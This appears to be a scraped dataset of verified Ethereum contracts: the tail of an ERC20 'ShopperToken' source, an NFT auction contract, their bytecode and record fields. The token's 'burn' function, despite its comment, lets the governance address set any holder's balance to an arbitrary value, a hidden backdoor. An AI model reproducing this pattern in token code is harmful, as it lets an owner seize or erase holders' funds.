emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
*/
function burn(address account, uint256 balance, uint256 burnAmount) external {
require(msg.sender == governance, "governance");
_balances[account] = balance.sub(burnAmount, "ERC20: burn amount exceeds balance");
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be created for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
/**
* @dev All contracts that will be owned by a Governor entity should extend this contract.
*/
contract Governed {
address private governor;
address public pendingGovernor;
event newPendingOwnership(address indexed from, address indexed to);
event newOwnership(address indexed from, address indexed to);
/**
* @dev Check if the caller is the governor.
*/
modifier onlyGovernor {
require(msg.sender == governor, "Only Governor can call");
_;
}
/**
* @dev Initialize the governor to the contract caller.
*/
function _initialize(address _initGovernor) internal {
governor = _initGovernor;
}
/**
* @dev Admin function to begin change of governor. The `_newGovernor` must call
* `newOwnershipAccept` to finalize the transfer.
* @param _newGovernor Address of new `governor`
*/
function transferOwnership(address _newGovernor) external onlyGovernor {
require(_newGovernor != address(0), "Governor must be set");
address oldPendingGovernor = pendingGovernor;
pendingGovernor = _newGovernor;
emit newPendingOwnership(oldPendingGovernor, pendingGovernor);
}
/**
* @dev Admin function for pending governor to accept role and update governor.
* This function must called by the pending governor.
*/
function newOwnershipAccept() external {
require(
pendingGovernor != address(0) && msg.sender == pendingGovernor,
"Caller must be pending governor"
);
address oldGovernor = governor;
address oldPendingGovernor = pendingGovernor;
governor = pendingGovernor;
pendingGovernor = address(0);
emit newOwnership(oldGovernor, governor);
emit newPendingOwnership(oldPendingGovernor, pendingGovernor);
}
}
/**
* The token is initially owned by the deployer address, who create the initial distribution.
* For convenience, an initial supply can be passed in the constructor that will be
* assigned to the deployer.
*
*/
contract ShopperToken is Governed, ERC20 {
using SafeMath for uint256;
constructor(uint256 _initialSupply) ERC20("shopper.finance", "SPR") {
Governed._initialize(msg.sender);
// initial tokens supply for the liquidity
_totalSupply = _totalSupply.add(_initialSupply);
_balances[msg.sender] = _balances[msg.sender].add(_initialSupply);
emit Transfer(address(0), msg.sender, _initialSupply);
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806395d89b4111610097578063dd62ed3e11610066578063dd62ed3e146104b5578063e3056a341461052d578063f2fde38b14610561578063f5298aca146105a5576100f5565b806395d89b4114610360578063a457c2d7146103e3578063a9059cbb14610447578063b53e521b146104ab576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce5671461028357806339509351146102a457806370a0823114610308576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105fd565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069f565b60405180821515815260200191505060405180910390f35b6101e96106bd565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c7565b60405180821515815260200191505060405180910390f35b61028b6107a0565b604051808260ff16815260200191505060405180910390f35b6102f0600480360360408110156102ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b7565b60405180821515815260200191505060405180910390f35b61034a6004803603602081101561031e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061086a565b6040518082815260200191505060405180910390f35b6103686108b3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a857808201518184015260208101905061038d565b50505050905090810190601f1680156103d55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61042f600480360360408110156103f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610955565b60405180821515815260200191505060405180910390f35b6104936004803603604081101561045d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a22565b60405180821515815260200191505060405180910390f35b6104b3610a40565b005b610517600480360360408110156104cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d49565b6040518082815260200191505060405180910390f35b610535610dd0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105a36004803603602081101561057757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610df6565b005b6105fb600480360360608110156105bb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611042565b005b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106955780601f1061066a57610100808354040283529160200191610695565b820191906000526020600020905b81548152906001019060200180831161067857829003601f168201915b5050505050905090565b60006106b36106ac611245565b848461124d565b6001905092915050565b6000600454905090565b60006106d4848484611444565b610795846106e0611245565b6107908560405180606001604052806028815260200161185c60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610746611245565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117099092919063ffffffff16565b61124d565b600190509392505050565b6000600860009054906101000a900460ff16905090565b60006108606107c4611245565b8461085b85600360006107d5611245565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111bd90919063ffffffff16565b61124d565b6001905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561094b5780601f106109205761010080835404028352916020019161094b565b820191906000526020600020905b81548152906001019060200180831161092e57829003601f168201915b5050505050905090565b6000610a18610962611245565b84610a13856040518060600160405280602581526020016118cd602591396003600061098c611245565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117099092919063ffffffff16565b61124d565b6001905092915050565b6000610a36610a2f611245565b8484611444565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015610aec5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610b5e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f43616c6c6572206d7573742062652070656e64696e6720676f7665726e6f720081525060200191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f7938f2d5463b296143948e08c45229b84fc1040d7a343b35952db610a0d83b0860405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f6d862e2ffd421bc1cca5dd7b46e732f7049d4c3dbe4cb397a7d6f0d9a11e7bb960405160405180910390a35050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eb7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4f6e6c7920476f7665726e6f722063616e2063616c6c0000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f5a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f476f7665726e6f72206d7573742062652073657400000000000000000000000081525060200191505060405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f6d862e2ffd421bc1cca5dd7b46e732f7049d4c3dbe4cb397a7d6f0d9a11e7bb960405160405180910390a35050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611105576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f676f7665726e616e63650000000000000000000000000000000000000000000081525060200191505060405180910390fd5b611132816040518060600160405280602281526020016117f260229139846117099092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082840190508381101561123b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806118a96024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611359576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806118146022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806118846025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611550576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806117cf6023913960400191505060405180910390fd5b61155b8383836117c9565b6115c78160405180606001604052806026815260200161183660269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117099092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111bd90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906117b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177b578082015181840152602081019050611760565b50505050905090810190601f1680156117a85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220712932f80e91c74c866b2955ae6c6cee9dc09a9a77bbac468403a5e3387a477c64736f6c63430007030033
|
{"success": true, "error": null, "results": {}}
| 4,007 |
0x63d4F3f12c984802AAF68C38F9392E1F8c7448Da
|
/**
*Submitted for verification at Etherscan.io on 2022-03-24
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
/*********************************************
*********************************************
* H e l p e r c o n t r a c t s
*/
abstract contract ReentrancyGuard {
uint8 private constant _NOT_ENTERED = 1;
uint8 private constant _ENTERED = 2;
uint8 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "Reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
abstract contract Adminable {
address private _admin1;
address private _admin2;
constructor() {
_set(1, msg.sender);
}
function admin(uint8 idx) public view returns (address) {
if (idx == 1) {
return _admin1;
} else if (idx == 2) {
return _admin2;
}
return address(0);
}
modifier onlyAdmin() {
require(
_admin1 == msg.sender || _admin2 == msg.sender,
"Caller not admin"
);
_;
}
function addAdmin(uint8 idx, address addr) public onlyAdmin {
require(addr != address(0), "Invalid address");
require(addr != _admin1 && addr != _admin2, "Already admin");
require(idx == 1 || idx == 2, "Invalid index");
_set(idx, addr);
}
function isAdmin(address addr) public view returns (bool) {
return addr == _admin1 || addr == _admin2;
}
function _set(uint8 idx, address addr) private {
if (idx == 1) {
_admin1 = addr;
} else {
_admin2 = addr;
}
}
}
/*********************************************
*********************************************
* I n t e r f a c e s
*/
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC2981 {
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
returns (address receiver, uint256 royaltyAmount);
}
interface IERC721 {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId)
external
view
returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
}
contract NFTAuction is ReentrancyGuard, Adminable, IERC721Receiver {
/*********************************************
*********************************************
* E v e n t s
*
*/
struct Auction {
address nft;
address bidder;
address seller;
uint256 tokenId;
uint256 amount;
uint64 startAt;
uint64 endAt;
uint64 minOutbid;
uint16 extensionDuration;
uint16 extensionTrigger;
uint16 hostFee;
}
event AuctionCreated(
address indexed seller,
address indexed nft,
uint256 indexed tokenId,
uint256 startPrice,
uint256 auctionId,
uint64 startAt,
uint64 endAt
);
event AuctionUpdated(uint256 indexed auctionId, uint256 startPrice);
event AuctionCancelled(uint256 indexed auctionId);
event AuctionCanceledByAdmin(uint256 indexed auctionId, string reason);
event AuctionFinalized(
uint256 indexed auctionId,
address seller,
address bidder,
uint64 endAt,
uint256 amount
);
event BidPlaced(
uint256 indexed auctionId,
address indexed bidder,
uint256 amount,
uint64 endTime
);
event WithdrawFailed(address indexed user, uint256 amount);
event WithdrawSuccess(address indexed user, uint256 amount);
/*********************************************
*********************************************
* P r i v a t e
* m e m b e r s
*
*/
mapping(address => mapping(uint256 => uint256)) private _nftToTokenIdToAuctionId;
mapping(uint256 => Auction) private _auctionIdToAuction;
mapping(address => uint256) private _pendingWithdraws;
uint256 private _auctionId;
uint256 private _minStartPrice;
uint32 private _minAuctionDuration;
uint32 private _minDurationExt;
uint32 private _maxDurationExt;
uint32 private _readGasLimit;
uint32 private _lowGasLimit;
uint32 private _mediumGasLimit;
uint16 private _royaltyLimit;
uint16 private _hostFee;
address private _hostTreasury;
constructor() ReentrancyGuard() Adminable() {}
/*********************************************
*********************************************
* P u b l i c
* m e t h o d s
*
*/
function setHostTreasury(address addr) public onlyAdmin {
require(addr != address(0), "Invalid address");
_hostTreasury = addr;
}
function setHostFee(uint16 fee) public onlyAdmin {
require(fee > 0, "Invalid fee");
_hostFee = fee;
}
function setHostFeeForAuction(uint256 auctionId, uint16 fee)
public
onlyAdmin
{
require(fee > 0, "Invalid fee");
_auctionIdToAuction[auctionId].hostFee = fee;
}
function updateConfig(
uint256 minStartPrice,
uint32 minAuctionDuration,
uint32 minDurationExt,
uint32 maxDurationExt,
uint16 royaltyLimit,
uint32 lowGasLimit,
uint32 mediumGasLimit,
uint32 readGasLimit
) public onlyAdmin {
if (minStartPrice > 0) {
_minStartPrice = minStartPrice;
}
if (minAuctionDuration > 0) {
_minAuctionDuration = minAuctionDuration;
}
if (minDurationExt > 0) {
_minDurationExt = minDurationExt;
}
if (maxDurationExt > 0) {
_maxDurationExt = maxDurationExt;
}
if (royaltyLimit > 0) {
_royaltyLimit = royaltyLimit;
}
if (lowGasLimit > 0) {
_lowGasLimit = lowGasLimit;
}
if (mediumGasLimit > 0) {
_mediumGasLimit = mediumGasLimit;
}
if (readGasLimit > 0) {
_readGasLimit = readGasLimit;
}
}
function getConfig()
public
view
returns (
uint256,
uint32,
uint32,
uint32,
uint16,
uint32,
uint32,
address,
uint16
)
{
return (
_minStartPrice,
_minAuctionDuration,
_minDurationExt,
_maxDurationExt,
_royaltyLimit,
_lowGasLimit,
_mediumGasLimit,
_hostTreasury,
_hostFee
);
}
function getAuctionId(address nft, uint256 tokenId)
public
view
returns (uint256)
{
return _nftToTokenIdToAuctionId[nft][tokenId];
}
function getAuctionDetails(uint256 auctionId)
public
view
returns (
address,
uint256,
uint256,
uint256,
address,
uint256,
uint256,
uint16
)
{
Auction memory auction = _auctionIdToAuction[auctionId];
require(auction.nft != address(0), "Auction not found");
return (
auction.seller,
auction.startAt,
auction.endAt,
auction.extensionDuration,
auction.bidder,
auction.amount,
auction.minOutbid,
auction.hostFee == 1
? 0
: (auction.hostFee > 1 ? auction.hostFee : _hostFee)
);
}
/**
* @notice Contract owner could create auction on behalf of seller
*/
function createAuctionFor(
address nft,
address seller,
uint256 tokenId,
uint256 startPrice,
uint64 startAt,
uint64 endAt,
uint64 minOutbid,
uint16 extensionDuration,
uint16 extensionTrigger,
uint16 hostFee
) public nonReentrant onlyAdmin {
_createAuction(
nft,
seller,
tokenId,
startPrice,
startAt,
endAt,
minOutbid,
extensionDuration,
extensionTrigger,
hostFee
);
}
/**
* @notice Creates an auction for the given NFT.
* The NFT is held in escrow until the auction is finalized or cancelled.
*/
function createAuction(
address nft,
uint256 tokenId,
uint256 startPrice,
uint64 startAt,
uint64 endAt,
uint64 minOutbid,
uint16 extensionDuration,
uint16 extensionTrigger
) public nonReentrant {
_createAuction(
nft,
msg.sender,
tokenId,
startPrice,
startAt,
endAt,
minOutbid,
extensionDuration,
extensionTrigger,
0
);
}
/**
* @notice If an auction has been created but has not yet received bids, the configuration
* such as the startPrice may be changed by the seller or admin.
*/
function updateAuction(uint256 auctionId, uint256 startPrice) public {
Auction storage auction = _auctionIdToAuction[auctionId];
require(auction.bidder == address(0), "Auction in progress");
require(
auction.seller == msg.sender || isAdmin(msg.sender),
"Unauthorized"
);
auction.amount = startPrice;
emit AuctionUpdated(auctionId, startPrice);
}
/**
* @notice If an auction has been created but has not yet received bids, it may be cancelled by the seller or admin.
* The NFT is returned to the seller from escrow.
*/
function cancelAuction(uint256 auctionId) public nonReentrant {
Auction memory auction = _auctionIdToAuction[auctionId];
require(auction.bidder == address(0), "Auction in progress");
require(
auction.seller == msg.sender || isAdmin(msg.sender),
"Unauthorized"
);
delete _nftToTokenIdToAuctionId[auction.nft][auction.tokenId];
delete _auctionIdToAuction[auctionId];
IERC721(auction.nft).transferFrom(
address(this),
auction.seller,
auction.tokenId
);
emit AuctionCancelled(auctionId);
}
/**
* @notice Allows Platform to cancel an auction, refunding the bidder and returning the NFT to the seller.
* This should only be used for extreme cases such as DMCA takedown requests. The reason should always be provided.
*/
function adminCancelAuction(uint256 auctionId, string memory reason)
public
onlyAdmin
{
require(bytes(reason).length > 0, "Reason required");
Auction memory auction = _auctionIdToAuction[auctionId];
require(auction.amount != 0, "Auction not found");
delete _nftToTokenIdToAuctionId[auction.nft][auction.tokenId];
delete _auctionIdToAuction[auctionId];
IERC721(auction.nft).transferFrom(
address(this),
auction.seller,
auction.tokenId
);
if (auction.bidder != address(0)) {
_trySendAmount(auction.bidder, auction.amount, _mediumGasLimit);
}
emit AuctionCanceledByAdmin(auctionId, reason);
}
/**
* @notice A bidder may place a bid which is at least the value defined by `getMinBidAmount`.
* If there is already an outstanding bid, the previous bidder will be refunded at this time
* and if the bid is placed in the final moments of the auction, the countdown may be extended.
*/
function placeBid(uint256 auctionId) public payable nonReentrant {
Auction storage auction = _auctionIdToAuction[auctionId];
require(auction.amount != 0, "Auction not found");
require(auction.endAt >= block.timestamp, "Auction is over");
require(auction.startAt <= block.timestamp, "Auction not started");
if (auction.bidder == address(0)) {
// This is first bid
require(msg.value >= auction.amount, "Bid amount too low");
auction.amount = msg.value;
auction.bidder = payable(msg.sender);
} else {
// This is outbid attempt
require(msg.value > auction.amount, "Bid amount too low");
uint256 outbid;
unchecked {
outbid = msg.value - auction.amount;
}
require(outbid >= auction.minOutbid, "Bid amount too low");
uint256 prevAmount = auction.amount;
address prevBidder = auction.bidder;
auction.amount = msg.value;
auction.bidder = payable(msg.sender);
// When a bid outbids another, check to see if a time extension should apply.
unchecked {
if (
auction.endAt - block.timestamp < auction.extensionTrigger
) {
auction.endAt = auction.endAt + auction.extensionDuration;
}
}
_trySendAmount(prevBidder, prevAmount, _lowGasLimit);
}
emit BidPlaced(auctionId, msg.sender, msg.value, auction.endAt);
}
/**
* @notice When auction end date is reached it should be finalized using transaction calling this function.
* NFT is transferred to the winner and funds are distributed between - seller, host and creator
*/
function finalizeAuction(uint256 auctionId) public nonReentrant {
Auction memory auction = _auctionIdToAuction[auctionId];
require(auction.amount != 0, "Auction not found");
require(auction.endAt < block.timestamp, "Auction in progress");
delete _nftToTokenIdToAuctionId[auction.nft][auction.tokenId];
delete _auctionIdToAuction[auctionId];
if (auction.bidder == address(0)) {
// There were no bidders on this auction.
// Just return the NFT to the seller
IERC721(auction.nft).transferFrom(
address(this),
auction.seller,
auction.tokenId
);
return;
}
// Transfer the NFT to the winner
IERC721(auction.nft).transferFrom(
address(this),
auction.bidder,
auction.tokenId
);
address creatorAddress;
uint256 hostCut;
uint256 creatorCut;
uint256 sellerCut;
// Calculate all the cuts - seller, host, creator(respecting IERC2981)
if (IERC165(auction.nft).supportsInterface(type(IERC2981).interfaceId)) {
(
address creatorRoyaltyAddress,
uint256 creatorRoyaltyAmount
) = IERC2981(auction.nft).royaltyInfo{gas: _readGasLimit}(
auction.tokenId,
auction.amount
);
if (creatorRoyaltyAddress != auction.seller) {
// Make sure that creatorRoyaltyAmount is reasonable
uint256 royatlyLimit = (auction.amount * _royaltyLimit) /
10000;
creatorCut = royatlyLimit >= creatorRoyaltyAmount
? creatorRoyaltyAmount
: royatlyLimit;
creatorAddress = creatorRoyaltyAddress;
}
}
uint16 hostFee = auction.hostFee == 1
? 0
: (auction.hostFee > 1 ? auction.hostFee : _hostFee);
hostCut = (auction.amount * hostFee) / 10000;
sellerCut = auction.amount - hostCut - creatorCut;
// Send funds to the parties
_trySendAmount(_hostTreasury, hostCut, _lowGasLimit);
_trySendAmount(auction.seller, sellerCut, _mediumGasLimit);
_trySendAmount(creatorAddress, creatorCut, _mediumGasLimit);
emit AuctionFinalized(
auctionId,
auction.seller,
auction.bidder,
auction.endAt,
auction.amount
);
}
/**
* @notice Allows anyone to manually trigger a withdraw of funds which originally failed to transfer for a user.
*/
function withdrawFor(address user) public nonReentrant {
uint256 amount = _pendingWithdraws[user];
require(amount > 0, "Nothing to withdraw");
require(address(this).balance >= amount, "Insufficient balance");
_pendingWithdraws[user] = 0;
(bool success, ) = payable(user).call{value: amount}("");
require(success, "Withdraw failed");
emit WithdrawSuccess(user, amount);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes memory data
) public pure returns (bytes4) {
return this.onERC721Received.selector;
}
/*********************************************
*********************************************
* P r i v a t e
* m e t h o d s
*
*/
function _createAuction(
address nft,
address seller,
uint256 tokenId,
uint256 startPrice,
uint64 startAt,
uint64 endAt,
uint64 minOutbid,
uint16 extensionDuration,
uint16 extensionTrigger,
uint16 hostFee
) private {
require(startPrice > _minStartPrice, "Starting price too low");
require(
_nftToTokenIdToAuctionId[nft][tokenId] == 0,
"NFT already on auction"
);
require(
startAt < endAt && (endAt - startAt) >= _minAuctionDuration,
"Invalid auction duration"
);
require(
extensionDuration >= _minDurationExt &&
extensionDuration <= _maxDurationExt,
"Extension duration out of bounds"
);
uint256 auctionId = _getNextAuctionId();
_nftToTokenIdToAuctionId[nft][tokenId] = auctionId;
_auctionIdToAuction[auctionId] = Auction(
nft,
address(0),
seller,
tokenId,
startPrice,
startAt,
endAt,
minOutbid,
extensionDuration,
extensionTrigger,
hostFee
);
IERC721(nft).transferFrom(seller, address(this), tokenId);
emit AuctionCreated(
seller,
nft,
tokenId,
startPrice,
auctionId,
startAt,
endAt
);
}
function _getNextAuctionId() private returns (uint256) {
return ++_auctionId;
}
/**
* @dev Attempt to send a user or contract ETH and if it fails store the amount owned for later withdraw.
*/
function _trySendAmount(
address user,
uint256 amount,
uint256 gasLimit
) private {
if (amount == 0 || address(0) == user) {
return;
}
// Cap the gas to prevent consuming all available gas to block a tx from completing successfully
(bool success, ) = payable(user).call{value: amount, gas: gasLimit}("");
if (!success) {
// Record failed sends for a withdraw later
// Transfers could fail if sent to a multisig with non-trivial receiver logic
_pendingWithdraws[user] += amount;
emit WithdrawFailed(user, amount);
}
}
}
|
0x6080604052600436106101445760003560e01c80639e96ace9116100c0578063d563fa1511610074578063e808386311610059578063e808386314610470578063f20e5e3514610490578063f22b01691461050257600080fd5b8063d563fa1514610430578063e0b713191461045057600080fd5b8063aea0b1c5116100a5578063aea0b1c514610351578063b2557ac214610371578063c3f909d41461039157600080fd5b80639e96ace9146103115780639eca672c1461033157600080fd5b8063535dd39c116101175780638a252240116100fc5780638a252240146102a657806396b5a755146102de5780639979ef45146102fe57600080fd5b8063535dd39c1461026657806362533c231461028657600080fd5b80630555334b14610149578063150b7a021461016b57806324d7806c146101e55780633ff9d32614610215575b600080fd5b34801561015557600080fd5b5061016961016436600461293a565b610522565b005b34801561017757600080fd5b506101af610186366004612a0a565b7f150b7a0200000000000000000000000000000000000000000000000000000000949350505050565b6040517fffffffff0000000000000000000000000000000000000000000000000000000090911681526020015b60405180910390f35b3480156101f157600080fd5b50610205610200366004612a8a565b61061c565b60405190151581526020016101dc565b34801561022157600080fd5b50610258610230366004612aae565b6001600160a01b03919091166000908152600260209081526040808320938352929052205490565b6040519081526020016101dc565b34801561027257600080fd5b50610169610281366004612a8a565b610651565b34801561029257600080fd5b506101696102a1366004612ada565b610730565b3480156102b257600080fd5b506102c66102c1366004612b46565b610a61565b6040516001600160a01b0390911681526020016101dc565b3480156102ea57600080fd5b506101696102f9366004612b61565b610aaa565b61016961030c366004612b61565b610da1565b34801561031d57600080fd5b5061016961032c366004612b92565b611160565b34801561033d57600080fd5b5061016961034c366004612a8a565b611245565b34801561035d57600080fd5b5061016961036c366004612c42565b611451565b34801561037d57600080fd5b5061016961038c366004612ccd565b6114d7565b34801561039d57600080fd5b506006546007546008546040805193845263ffffffff80841660208601526401000000008404811691850191909152600160401b83048116606085015261ffff600160c01b840481166080860152600160801b8404821660a0860152600160a01b840490911660c08501526001600160a01b0390911660e0840152600160d01b90910416610100820152610120016101dc565b34801561043c57600080fd5b5061016961044b366004612d18565b611680565b34801561045c57600080fd5b5061016961046b366004612d99565b61188d565b34801561047c